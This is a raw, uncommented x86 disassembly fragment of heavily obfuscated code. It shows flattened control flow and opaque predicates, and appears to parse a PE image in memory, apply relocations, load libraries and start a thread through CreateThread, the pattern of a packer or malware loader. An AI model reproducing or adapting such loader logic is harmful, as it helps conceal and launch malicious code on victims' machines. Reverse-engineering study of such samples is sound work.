cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x7db0c0fa
jmp 0x4050d4
cmp eax, 0x7db0c0f9
jle 0x403b27
cmp eax, 0x7db0c0fa
je 0x404db6
cmp eax, 0x7f084841
je 0x404dcc
cmp eax, 0x7fb622c1
jne 0x401650
mov eax, dword [ebp - 0x4382c]
mov eax, 0xd7c4509b
jmp 0x401650
cmp eax, 0xace97c00
jg 0x403b70
cmp eax, 0xaa85131b
je 0x404de2
cmp eax, 0xabc2ec6a
jne 0x4058d1
mov eax, dword [ebp - 0x4383c]
mov eax, dword [ebp - 0x4383c]
mov dword [eax], 0
mov eax, 0xcfe83804
jmp 0x401650
cmp eax, 0xbc677a6
je 0x404dfb
cmp eax, 0xbef43f1
jne 0x401650
mov edx, dword [0x4a83f0]
mov ecx, dword [0x4a83ec]
mov edi, 0x5c251431
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x803cd80e
cmovne ebx, edi
test edx, eax
mov eax, ebx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x438e8]
cmovge eax, ebx
cmp ecx, dword [ebp - 0x438ec]
setl byte [ebp - 0x43868]
jmp 0x401650
cmp eax, 0xc479d4a8
je 0x404e05
cmp eax, 0xc48ecacf
jne 0x401650
mov eax, dword [ebp - 0x43848]
mov eax, 0x47aa582e
jmp 0x401650
cmp eax, 0x47e06ec0
je 0x404e0f
cmp eax, 0x485313c5
jne 0x401650
mov eax, dword [0x4a83f0]
mov ebx, 0x96b57350
mov edi, 0xf9340dd
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xf9340dd
jmp 0x401633
cmp eax, 0x803cd80e
je 0x404e19
cmp eax, 0x803e16a6
jne 0x401650
mov eax, dword [ebp - 0x4381c]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xbfffffff
test ecx, eax
mov eax, 0x869f4b87
setne byte [ebp - 0x43871]
jmp 0x401650
cmp eax, 0x2e856a98
je 0x404e2f
cmp eax, 0x2f9c3a7c
jne 0x401650
mov eax, dword [0x4a83f0]
mov edi, 0xc479d4a8
mov ebx, 0x81e03289
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x81e03289
jmp 0x405024
cmp eax, 0xe3bfea08
je 0x404e89
cmp eax, 0xe4e2e0a9
jne 0x401650
mov eax, dword [0x4a83f0]
mov edi, 0x407d8733
mov ebx, 0x7f084841
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x7f084841
jmp 0x405024
cmp eax, 0x619dc9ec
je 0x404eb8
cmp eax, 0x62574868
jne 0x401650
mov dword [ebp - 0x43824], 0x10
mov eax, 0xfed130ca
jmp 0x401650
cmp eax, 0xb3a1fb49
je 0x404ee7
cmp eax, 0xb408efa8
jne 0x401650
mov eax, dword [ebp - 0x43834]
mov eax, dword [eax]
mov dword [ebp - 0x4394c], eax
mov eax, 0x7a88bf5f
jmp 0x401650
cmp eax, 0x1c70d7ca
je 0x404efb
cmp eax, 0x1cad5b93
jne 0x401650
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
mov edi, 0x735102fd
jmp 0x4050b7
cmp eax, 0xd4642fa1
je 0x404f05
cmp eax, 0xd5236667
jne 0x401650
mov eax, 0x4af087a
jmp 0x401650
cmp eax, 0x53f47218
je 0x404f0f
cmp eax, 0x546a4cda
jne 0x401650
mov eax, dword [ebp - 0x4388c]
movzx ecx, word [esi + 0x14]
mov ebx, 0xbe6d7691
mov edi, 0xba37d91b
lea eax, [eax + ecx + 0x18]
mov ecx, dword [ebp - 0x43828]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4382c]
mov eax, dword [ebp - 0x4382c]
mov dword [eax], 0
mov eax, dword [0x4a83f0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xba37d91b
jmp 0x401633
cmp eax, 0x8fb56dc7
je 0x404f49
cmp eax, 0x909e6b91
jne 0x401650
mov edx, dword [0x4a83f0]
mov ecx, dword [0x4a83ec]
mov edi, 0x62da7533
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x5244cfff
jmp 0x40517c
cmp eax, 0x3a3d1841
je 0x404f68
cmp eax, 0x3a628eec
jne 0x401650
mov eax, dword [0x4a83f0]
mov ebx, 0x264cf23
mov edi, 0x54d5a6b1
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x54d5a6b1
jmp 0x401633
cmp eax, 0xf7e66479
je 0x404f9c
cmp eax, 0xfa7b53b8
jne 0x401650
mov eax, dword [ebp - 0x43948]
mov ecx, dword [ebp - 0x43944]
cmp ecx, dword [eax]
mov eax, 0xafa6c059
mov ecx, 0x923d93c9
cmovb eax, ecx
jmp 0x401650
cmp eax, 0x7052311d
je 0x404fb0
cmp eax, 0x70a92138
jne 0x401650
mov dword [ebp - 0x438c8], 0
mov eax, 0x6554269f
jmp 0x401650
cmp eax, 0x9fb9eae3
je 0x404ffc
cmp eax, 0xa03b6953
jne 0x401650
mov eax, 0x8ec4ecad
jmp 0x401650
cmp eax, 0x142c6439
je 0x405049
cmp eax, 0x146e2b71
jne 0x401650
mov edx, dword [0x4a83f0]
mov ecx, dword [0x4a83ec]
mov edi, 0x31fb185f
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x345cc7ef
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
mov edi, dword [ebp - 0x438d0]
cmp ecx, 0xa
cmovge eax, edx
mov dword [ebp - 0x43918], edi
jmp 0x401650
cmp eax, 0xc9c33d01
je 0x405059
cmp eax, 0xca176664
jne 0x401650
mov eax, dword [ebp - 0x43854]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x438a4]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x43884]
mov ecx, dword [ebp - 0x43854]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
mov eax, 0xb7f8cc8c
jmp 0x401650
cmp eax, 0x4fbac41e
je 0x405063
cmp eax, 0x4fea3540
jne 0x401650
mov eax, dword [0x4a83f0]
mov edi, 0x76e6a285
mov ebx, 0x4cca0e22
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x4cca0e22
jmp 0x40502c
cmp eax, 0x88758496
je 0x40506d
cmp eax, 0x89451c28
jne 0x401650
mov edx, dword [0x4a83f0]
mov ecx, dword [0x4a83ec]
mov edi, 0xd9e12ee1
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xc497e3b0
jmp 0x404635
cmp eax, 0x3494cc2b
je 0x405081
cmp eax, 0x350db2f0
jne 0x401650
mov eax, dword [ebp - 0x43834]
mov ecx, dword [ebp - 0x43954]
mov dword [eax], ecx
mov eax, 0x1a843e27
jmp 0x401650
cmp eax, 0xee54b97e
je 0x4050a7
cmp eax, 0xee7ee76c
jne 0x401650
cmp byte [ebp - 0x43871], 0
mov eax, 0xff996d5d
mov ecx, 0x94045338
cmovne eax, ecx
jmp 0x401650
cmp eax, 0x67f13451
je 0x4050eb
cmp eax, 0x6827872b
jne 0x401650
mov eax, 0xbfc98fbf
jmp 0x401650
cmp eax, 0xbdb034f3
je 0x4050f5
cmp eax, 0xbe6d7691
jne 0x401650
mov eax, 0xa9185e4b
jmp 0x401650
cmp eax, 0x26e2fdb0
je 0x40514d
cmp eax, 0x29512338
jne 0x401650
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
mov edi, 0x6827872b
jmp 0x403f09
cmp eax, 0xddc8c138
je 0x405192
cmp eax, 0xde01475c
jne 0x401650
mov eax, dword [ebp - 0x43878]
vxorps xmm0, xmm0, xmm0
vmovups xmmword [eax], xmm0
vxorps xmm0, xmm0, xmm0
mov eax, dword [ebp - 0x43860]
mov eax, dword [ebp - 0x43860]
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, dword [ebp - 0x43860]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x43838]
mov eax, dword [ebp - 0x43838]
vmovsd xmm0, qword [esi + 0xa0]
vmovsd qword [eax], xmm0
mov eax, dword [ebp - 0x43814]
mov eax, 0x9747cdc
jmp 0x401650
cmp eax, 0x5be205d7
je 0x4051a2
cmp eax, 0x5c251431
jne 0x401650
cmp byte [ebp - 0x43868], 0
mov eax, 0x7d5cb136
mov ecx, 0xb408efa8
cmovne eax, ecx
jmp 0x401650
cmp eax, 0x96b57350
je 0x4051c5
cmp eax, 0x970ed5b4
jne 0x401650
mov eax, dword [ebp - 0x43840]
mov edi, 0x179afe54
mov dword [eax], 2
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x35dcf0c7
jmp 0x4050d4
cmp eax, 0x40e31e5e
je 0x405220
cmp eax, 0x4107cb55
jne 0x401650
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
mov edi, 0xad43d420
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x142c6439
jmp 0x40557c
cmp eax, 0x2a65a75
je 0x405264
cmp eax, 0x2ce9ae6
jne 0x401650
mov eax, dword [ebp - 0x43914]
mov eax, dword [eax]
mov dword [ebp - 0x438d0], eax
mov eax, 0x39a44596
jmp 0x401650
cmp eax, 0x781e1086
je 0x405283
cmp eax, 0x787698ee
jne 0x401650
mov eax, dword [ebp - 0x43988]
mov ecx, 0xdf87b39b
cmp eax, 0xc
mov eax, 0xf4e36155
cmove eax, ecx
jmp 0x401650
cmp eax, 0xafa6c059
je 0x4052a9
cmp eax, 0xb05d0b3b
jne 0x401650
mov eax, dword [ebp - 0x43894]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x43834]
mov ecx, dword [ecx]
movzx ecx, word [ecx]
mov edx, ecx
xor edx, 0xfffff000
and edx, ecx
movzx ecx, dx
mov edx, dword [eax + ecx]
add edx, dword [ebp - 0x43950]
mov dword [eax + ecx], edx
mov eax, 0x5382ce05
jmp 0x401650
cmp eax, 0xfb2ccad
je 0x4052bd
cmp eax, 0x1282169f
jne 0x401650
cmp byte [ebp - 0x4386f], 0
mov eax, 0x803e16a6
mov ecx, 0x240ed4a9
cmovne eax, ecx
jmp 0x401650
cmp eax, 0xc69518a0
je 0x405434
cmp eax, 0xc69522f4
jne 0x401650
mov eax, dword [ebp - 0x43994]
mov ecx, dword [ebp - 0x43814]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x43828]
mov edx, dword [edx]
mov edi, dword [ebp - 0x43820]
mov edi, dword [edi]
lea edi, [edi + edi*4]
add ecx, dword [edx + edi*8 + 0xc]
push dword [ebp - 0x438b8]
push dword [ebp - 0x43990]
push dword [eax]
push ecx
vzeroupper
call fcn.00401460
add esp, 0x10
mov eax, dword [ebp - 0x4381c]
mov eax, dword [ebp - 0x43840]
mov eax, 0xcf631510
jmp 0x401650
cmp eax, 0x4cca0e22
je 0x40543e
cmp eax, 0x4d7d6199
jne 0x401650
cmp byte [ebp - 0x4386d], 0
mov eax, 0x5be205d7
mov ecx, 0xe9ab3ef2
cmovne eax, ecx
jmp 0x401650
cmp eax, 0x83f58aed
je 0x40544e
cmp eax, 0x8407ebe8
jne 0x401650
mov eax, 0x4aab7fec
jmp 0x401650
cmp eax, 0x3144104e
je 0x405458
cmp eax, 0x31fb185f
jne 0x401650
mov ecx, dword [ebp - 0x43918]
mov eax, 0x6554269f
mov dword [ebp - 0x438c8], ecx
jmp 0x401650
cmp eax, 0xe8dfa529
je 0x405481
cmp eax, 0xe9ab3ef2
jne 0x401650
mov eax, dword [ebp - 0x4381c]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xdfffffff
test ecx, eax
mov eax, 0xee08135
setne byte [ebp - 0x4386e]
jmp 0x401650
cmp eax, 0x6554269f
je 0x40548b
cmp eax, 0x6583c555
jne 0x401650
mov eax, 0x3a3d1841
jmp 0x401650
cmp eax, 0xbb8ea38e
je 0x4054cb
cmp eax, 0xbbe9a51c
jne 0x401650
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
mov edi, 0x2d333342
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x5c73f51b
jmp 0x4050d4
cmp eax, 0x20c5d36b
je 0x405526
cmp eax, 0x234681bd
jne 0x401650
mov eax, dword [ebp - 0x43844]
mov eax, 0xf75492cd
jmp 0x401650
cmp eax, 0xd9e12ee1
je 0x405530
cmp eax, 0xda15ad1f
jne 0x401650
mov eax, dword [ebp - 0x43960]
mov ecx, dword [ebp - 0x43858]
mov dword [ecx], eax
mov eax, 0xabc2ec6a
jmp 0x401650
cmp eax, 0x58ec7568
je 0x40553a
cmp eax, 0x5a0b28a9
jne 0x401650
mov dword [ebp - 0x43824], 7
mov eax, 0x687cfb57
jmp 0x401650
cmp eax, 0x94045338
je 0x40554e
cmp eax, 0x947d82fc
jne 0x401650
mov edx, dword [0x4a83f0]
mov ecx, dword [0x4a83ec]
mov edi, 0xbef43f1
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x803cd80e
jmp 0x404635
cmp eax, 0x3db703f9
je 0x405594
cmp eax, 0x3eae4a3b
jne 0x401650
movzx eax, word [ebp - 0x438aa]
mov eax, 0x68d4df18
jmp 0x401650
cmp eax, 0xfd6d235f
je 0x4055a9
cmp eax, 0xfed130ca
jne 0x401650
mov eax, dword [ebp - 0x43820]
mov eax, 0xe2e4f396
jmp 0x401650
cmp eax, 0x73ab2c4b
je 0x4055d3
cmp eax, 0x75968605
jne 0x401650
mov eax, 0x8fb56dc7
jmp 0x401650
cmp eax, 0xa606e9a4
je 0x4055ec
cmp eax, 0xa85bcbe1
jne 0x401650
mov eax, 0x179deaac
jmp 0x401650
cmp eax, 0x17c3ab72
je 0x4055f6
cmp eax, 0x1800d6ad
jne 0x401650
mov eax, dword [ebp - 0x43890]
mov eax, dword [eax]
mov dword [ebp - 0x43950], eax
mov eax, 0xb05d0b3b
jmp 0x401650
cmp eax, 0xcf631510
je 0x405626
cmp eax, 0xcf6aa0c6
jne 0x401650
cmp byte [ebp - 0x43870], 0
mov eax, 0x803e16a6
mov ecx, 0x2c6c0c66
cmovne eax, ecx
jmp 0x401650
cmp eax, 0x511196b0
je 0x40563e
cmp eax, 0x5244cfff
jne 0x401650
mov eax, dword [ebp - 0x43830]
mov eax, 0x62da7533
jmp 0x401650
cmp eax, 0x8d11019f
je 0x405685
cmp eax, 0x8e387bf9
jne 0x401650
mov eax, dword [ebp - 0x43840]
mov eax, dword [ebp - 0x43828]
mov eax, dword [ebp - 0x43820]
mov eax, 0x327649a2
jmp 0x401650
cmp eax, 0x361a1d9c
je 0x4056ab
cmp eax, 0x378afcfa
jne 0x401650
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
mov edi, 0xd7c373cc
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x81470a90
jmp 0x40557c
cmp eax, 0xf2678dbc
je 0x405741
cmp eax, 0xf418ebb4
jne 0x401650
mov eax, dword [ebp - 0x43814]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x43858]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x4383c]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*4 + 0xc]
mov ecx, dword [ebp - 0x43880]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4385c]
mov eax, dword [ebp - 0x43880]
mov eax, 0x2e856a98
jmp 0x401650
cmp eax, 0x6aa3035b
je 0x405751
cmp eax, 0x6b1a21e9
jne 0x401650
mov eax, 0x350db2f0
jmp 0x401650
cmp eax, 0xc14a4297
je 0x40576a
cmp eax, 0xc1c01b28
jne 0x401650
mov edx, dword [0x4a83f0]
mov ecx, dword [0x4a83ec]
mov esi, 0xc6062d9a
mov edi, 0x646923c3
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, eax
lea edx, [ebp - 0x43810]
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x438cc]
cmovge eax, esi
mov ecx, dword [ecx + 0x3c]
cmp dword [ecx + edx], 0x4550
lea esi, [ecx + edx]
setne byte [ebp - 0x43865]
jmp 0x401650
cmp eax, 0x2b31f8fa
je 0x4057cc
cmp eax, 0x2b5127e6
jne 0x401650
mov eax, dword [0x4a83f0]
mov ebx, 0xa38ada70
mov edi, 0x53c52c81
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x53c52c81
jmp 0x40162b
cmp eax, 0xe15a8348
je 0x405823
cmp eax, 0xe17ed113
jne 0x401650
mov eax, 0x9ab70dd4
jmp 0x401650
cmp eax, 0x5eeae575
je 0x40583b
cmp eax, 0x604007d8
jne 0x401650
mov eax, dword [ebp - 0x43814]
push 0x400
lea ecx, [ebp - 0x43810]
push ecx
push dword [eax]
vzeroupper
call fcn.0043cd20
add esp, 0xc
mov eax, dword [ebp - 0x43828]
mov eax, dword [0x4a83f0]
mov ebx, 0x795c2b5a
mov dword [ebp - 0x4388c], esi
mov edi, 0xe3bfea08
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xe3bfea08
jmp 0x40162b
cmp eax, 0x9ae6cc56
je 0x405873
cmp eax, 0x9b14c4ef
jne 0x401650
mov eax, 0x787698ee
jmp 0x401650
cmp eax, 0x44281b91
je 0x40587d
cmp eax, 0x45918cbd
jne 0x401650
mov eax, 0x8ec4ecad
jmp 0x401650
cmp eax, 0x531b57a
je 0x405887
cmp eax, 0x9747cdc
jne 0x401650
mov eax, dword [ebp - 0x43878]
vxorps xmm0, xmm0, xmm0
mov edi, 0x67f13451
vmovups xmmword [eax], xmm0
vxorps xmm0, xmm0, xmm0
mov eax, dword [ebp - 0x43860]
mov eax, dword [ebp - 0x43860]
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, dword [ebp - 0x43860]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x43838]
mov eax, dword [ebp - 0x43838]
vmovsd xmm0, qword [esi + 0xa0]
vmovsd qword [eax], xmm0
mov edx, dword [0x4a83f0]
mov ecx, dword [0x4a83ec]
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xde01475c
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x43814]
mov dword [ebp - 0x4390c], esi
cmovge eax, edx
jmp 0x401650
cmp eax, 0x7a88bf5f
je 0x405891
cmp eax, 0x7d5cb136
jne 0x401650
mov edx, dword [0x4a83f0]
mov ecx, dword [0x4a83ec]
mov edi, 0x687cfb57
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x5a0b28a9
jmp 0x404635
cmp eax, 0xace97c01
je 0x4058ab
cmp eax, 0xad43d420
jne 0x401650
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
mov edi, 0xa606e9a4
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x142c6439
cmovne ebx, edi
test edx, ecx
mov ecx, ebx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x43818]
cmovge ecx, ebx
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x43984], eax
mov eax, ecx
jmp 0x401650
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
mov edi, 0x4d7d6199
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x7a05258a
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
cmovge ecx, edx
cmp dword [ebp - 0x43904], 0
mov eax, ecx
setne byte [ebp - 0x4386d]
jmp 0x401650
cmp byte [ebp - 0x4386e], 0
mov eax, 0x5be205d7
mov ecx, 0x35d2b10c
cmovne eax, ecx
jmp 0x401650
mov eax, 0x89451c28
jmp 0x401650
mov eax, dword [0x4a83f0]
mov edi, 0xc3db276
mov ebx, 0x7a05258a
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x7a05258a
jmp 0x40502c
mov eax, dword [ebp - 0x4384c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x43818]
mov ecx, dword [ecx]
lea eax, [eax + ecx*4]
mov dword [ebp - 0x43974], eax
mov eax, 0xc8ed3ec6
jmp 0x401650
mov eax, 0x7052311d
jmp 0x401650
mov eax, 0x378afcfa
jmp 0x401650
mov eax, 0x2f9c3a7c
jmp 0x401650
mov eax, dword [ebp - 0x4385c]
mov eax, dword [ebp - 0x43880]
mov eax, dword [ebp - 0x43824]
mov dword [ebp - 0x43988], eax
mov eax, 0x9b14c4ef
jmp 0x401650
mov eax, 0xc69522f4
jmp 0x401650
mov eax, dword [ebp - 0x43814]
mov ecx, dword [esi + 0x28]
add ecx, dword [eax]
push 0
push 0
push 0
push ecx
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x438a8]
mov edi, 0x2aa3f3c4
mov ebx, 0x1a07eb90
mov dword [ecx], eax
mov eax, dword [0x4a83f0]
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x1a07eb90
jmp 0x405024
mov eax, 0x8d11019f
jmp 0x401650
mov eax, dword [ebp - 0x43830]
mov ebx, 0x2a7ac182
mov edi, 0x5244cfff
mov eax, dword [eax]
mov dword [ebp - 0x438e4], eax
mov eax, dword [0x4a83f0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x5244cfff
jmp 0x40162b
cmp byte [ebp - 0x43865], 0
mov eax, 0x678310de
mov ecx, 0x85983929
cmovne eax, ecx
jmp 0x401650
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
mov edi, 0x310e6647
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xec2b97ba
jmp 0x40557c
mov eax, dword [ebp - 0x43854]
mov edi, 0xca176664
mov eax, dword [eax]
mov ecx, dword [ebp - 0x438a4]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x43884]
mov ecx, dword [ebp - 0x43854]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x1b1f1dc8
jmp 0x40524d
cmp byte [ebp - 0x4386c], 0
mov eax, 0x5be205d7
mov ecx, 0x2a65a75
cmovne eax, ecx
jmp 0x401650
mov eax, dword [ebp - 0x43834]
mov eax, 0x2b31f8fa
jmp 0x401650
push dword [ebp - 0x4396c]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x43970], eax
mov eax, 0x3144104e
jmp 0x401650
mov eax, 0x65e1d4b1
jmp 0x401650
mov eax, 0x264cf23
jmp 0x401650
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
mov edi, 0x3db703f9
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x20c5d36b
jmp 0x40524d
mov eax, dword [ebp - 0x43814]
mov eax, dword [eax]
mov dword [ebp - 0x4391c], esi
mov dword [ebp - 0x438d4], eax
mov eax, 0x9f1f39ec
jmp 0x401650
mov eax, dword [ebp - 0x43894]
mov eax, dword [ebp - 0x43814]
mov eax, dword [eax]
mov dword [ebp - 0x438bc], eax
mov eax, 0x909e6b91
jmp 0x401650
mov eax, dword [0x4a83f0]
mov ebx, 0xc1c01b28
mov edi, 0xc6062d9a
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xc6062d9a
jmp 0x40162b
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
mov edi, 0x29512338
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xce22ba3e
jmp 0x4050d4
mov eax, dword [ebp - 0x4384c]
mov eax, dword [ebp - 0x43814]
mov eax, dword [eax]
mov dword [ebp - 0x438c0], eax
mov eax, dword [ebp - 0x43858]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4383c]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*4 + 0x10]
mov dword [ebp - 0x438f4], eax
mov eax, 0x485313c5
jmp 0x401650
push dword [ebp - 0x43884]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x43854]
add eax, eax
mov ecx, dword [ecx]
mov word [ecx], ax
mov eax, 0x5a5d9b6b
jmp 0x401650
mov eax, dword [ebp - 0x43890]
mov eax, 0x3b0e9dbe
jmp 0x401650
mov eax, dword [ebp - 0x43998]
mov ecx, dword [ebp - 0x43820]
inc eax
mov dword [ecx], eax
mov eax, 0xf6a90464
jmp 0x401650
mov eax, 0x47599c9
jmp 0x401650
mov eax, 0xca52a393
jmp 0x401650
mov edx, dword [0x4a83f0]
mov ecx, dword [0x4a83ec]
mov edi, 0x604007d8
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xe3bfea08
jmp 0x404635
mov eax, 0xc9c33d01
jmp 0x401650
mov eax, dword [ebp - 0x43848]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x43958], eax
mov eax, 0xdb02daaa
jmp 0x401650
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
mov edi, 0x2b31f8fa
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x1f08f14a
jmp 0x40557c
mov eax, 0x65e1d4b1
jmp 0x401650
mov eax, dword [ebp - 0x438e4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x438bc]
add eax, dword [ebp - 0x438bc]
mov ecx, dword [ebp - 0x43894]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4387c]
mov eax, dword [ebp - 0x43830]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x4387c]
add eax, 0xfffffff8
shr eax, 1
mov dword [ecx], eax
mov eax, dword [ebp - 0x43834]
mov eax, dword [ebp - 0x43830]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x43834]
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x43848]
mov eax, dword [ebp - 0x43848]
mov dword [eax], 0
mov eax, 0x26d50791
jmp 0x401650
mov eax, 0xd60c9ff0
jmp 0x401650
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
mov edi, 0x9ae6cc56
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x69377b2b
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x43820]
mov eax, dword [eax]
mov dword [ebp - 0x438fc], esi
mov dword [ebp - 0x438f8], eax
jmp 0x40558a
mov eax, dword [ebp - 0x43840]
mov dword [eax], 0x40
mov eax, 0x500eb3d8
jmp 0x401650
mov eax, dword [ebp - 0x43840]
mov dword [eax], 2
mov eax, 0x970ed5b4
jmp 0x401650
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
